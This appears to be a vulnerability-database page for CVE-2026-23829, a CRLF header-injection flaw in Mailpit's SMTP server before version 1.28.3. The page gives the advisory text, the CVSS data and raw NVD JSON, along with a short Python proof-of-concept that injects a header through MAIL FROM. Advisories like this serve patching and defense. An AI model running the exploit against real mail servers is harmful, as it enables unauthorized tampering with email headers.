Security Vulnerability Report
中文
CVE-2026-23829 CVSS 5.3 MEDIUM

CVE-2026-23829

Published: 2026-01-19 00:15:49
Last Modified: 2026-02-23 17:29:31

Description

Mailpit is an email testing tool and API for developers. Prior to version 1.28.3, Mailpit's SMTP server is vulnerable to Header Injection due to an insufficient Regular Expression used to validate `RCPT TO` and `MAIL FROM` addresses. An attacker can inject arbitrary SMTP headers (or corrupt existing ones) by including carriage return characters (`\r`) in the email address. This header injection occurs because the regex intended to filter control characters fails to exclude `\r` and `\n` when used inside a character class. Version 1.28.3 fixes this issue.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:* - VULNERABLE
Mailpit < 1.28.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import ssl def exploit_mailpit_header_injection(target_host, target_port=1025): """ PoC for CVE-2026-23829: Mailpit SMTP Header Injection This demonstrates how to inject arbitrary headers via RCPT TO or MAIL FROM """ # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # Receive greeting response = sock.recv(1024) print(f"[+] Server: {response.decode().strip()}") # Send EHLO sock.send(b"EHLO test.example.com\r\n") response = sock.recv(1024) print(f"[+] EHLO Response: {response.decode().strip()}") # Inject arbitrary header via MAIL FROM with CRLF injection # Inject X-Injected-Header: [email protected] malicious_from = "MAIL FROM:<[email protected]\r\nX-Injected-Header: [email protected]>\r\n" sock.send(malicious_from.encode()) response = sock.recv(1024) print(f"[+] MAIL FROM Response: {response.decode().strip()}") # Continue with normal RCPT TO sock.send(b"RCPT TO:<[email protected]>\r\n") response = sock.recv(1024) print(f"[+] RCPT TO Response: {response.decode().strip()}") # Send DATA command sock.send(b"DATA\r\n") response = sock.recv(1024) print(f"[+] DATA Response: {response.decode().strip()}") # Send email body email_body = "Subject: Test Email\r\n\r\nThis is a test email.\r\n." sock.send(email_body.encode()) response = sock.recv(1024) print(f"[+] Email Send Response: {response.decode().strip()}") # Quit sock.send(b"QUIT\r\n") sock.close() print("[+] Connection closed") if __name__ == "__main__": target = "mailpit-server.local" port = 1025 exploit_mailpit_header_injection(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23829", "sourceIdentifier": "[email protected]", "published": "2026-01-19T00:15:48.707", "lastModified": "2026-02-23T17:29:31.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mailpit is an email testing tool and API for developers. Prior to version 1.28.3, Mailpit's SMTP server is vulnerable to Header Injection due to an insufficient Regular Expression used to validate `RCPT TO` and `MAIL FROM` addresses. An attacker can inject arbitrary SMTP headers (or corrupt existing ones) by including carriage return characters (`\\r`) in the email address. This header injection occurs because the regex intended to filter control characters fails to exclude `\\r` and `\\n` when used inside a character class. Version 1.28.3 fixes this issue."}, {"lang": "es", "value": "Mailpit es una herramienta de pruebas de correo electrónico y una API para desarrolladores. Antes de la versión 1.28.3, el servidor SMTP de Mailpit era vulnerable a la inyección de encabezados debido a una expresión regular insuficiente utilizada para validar las direcciones `RCPT TO` y `MAIL FROM`. Un atacante puede inyectar encabezados SMTP arbitrarios (o corromper los existentes) incluyendo caracteres de retorno de carro (\"\\r\") en la dirección de correo electrónico. Esta inyección de encabezados se produce porque la expresión regular destinada a filtrar los caracteres de control no excluye \"\\r\" y \"\\n\" cuando se utiliza dentro de una clase de caracteres. La versión 1.28.3 corrige este problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-93"}, {"lang": "en", "value": "CWE-150"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.28.3", "matchCriteriaId": "D00C1680-049F-472C-A900-66D6B2A11A04"}]}]}], "references": [{"url": "https://github.com/axllent/mailpit/commit/36cc06c125954dec6673219dafa084e13cc14534", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/axllent/mailpit/releases/tag/v1.28.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-54wq-72mp-cq7c", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "Mitigation"]}]}}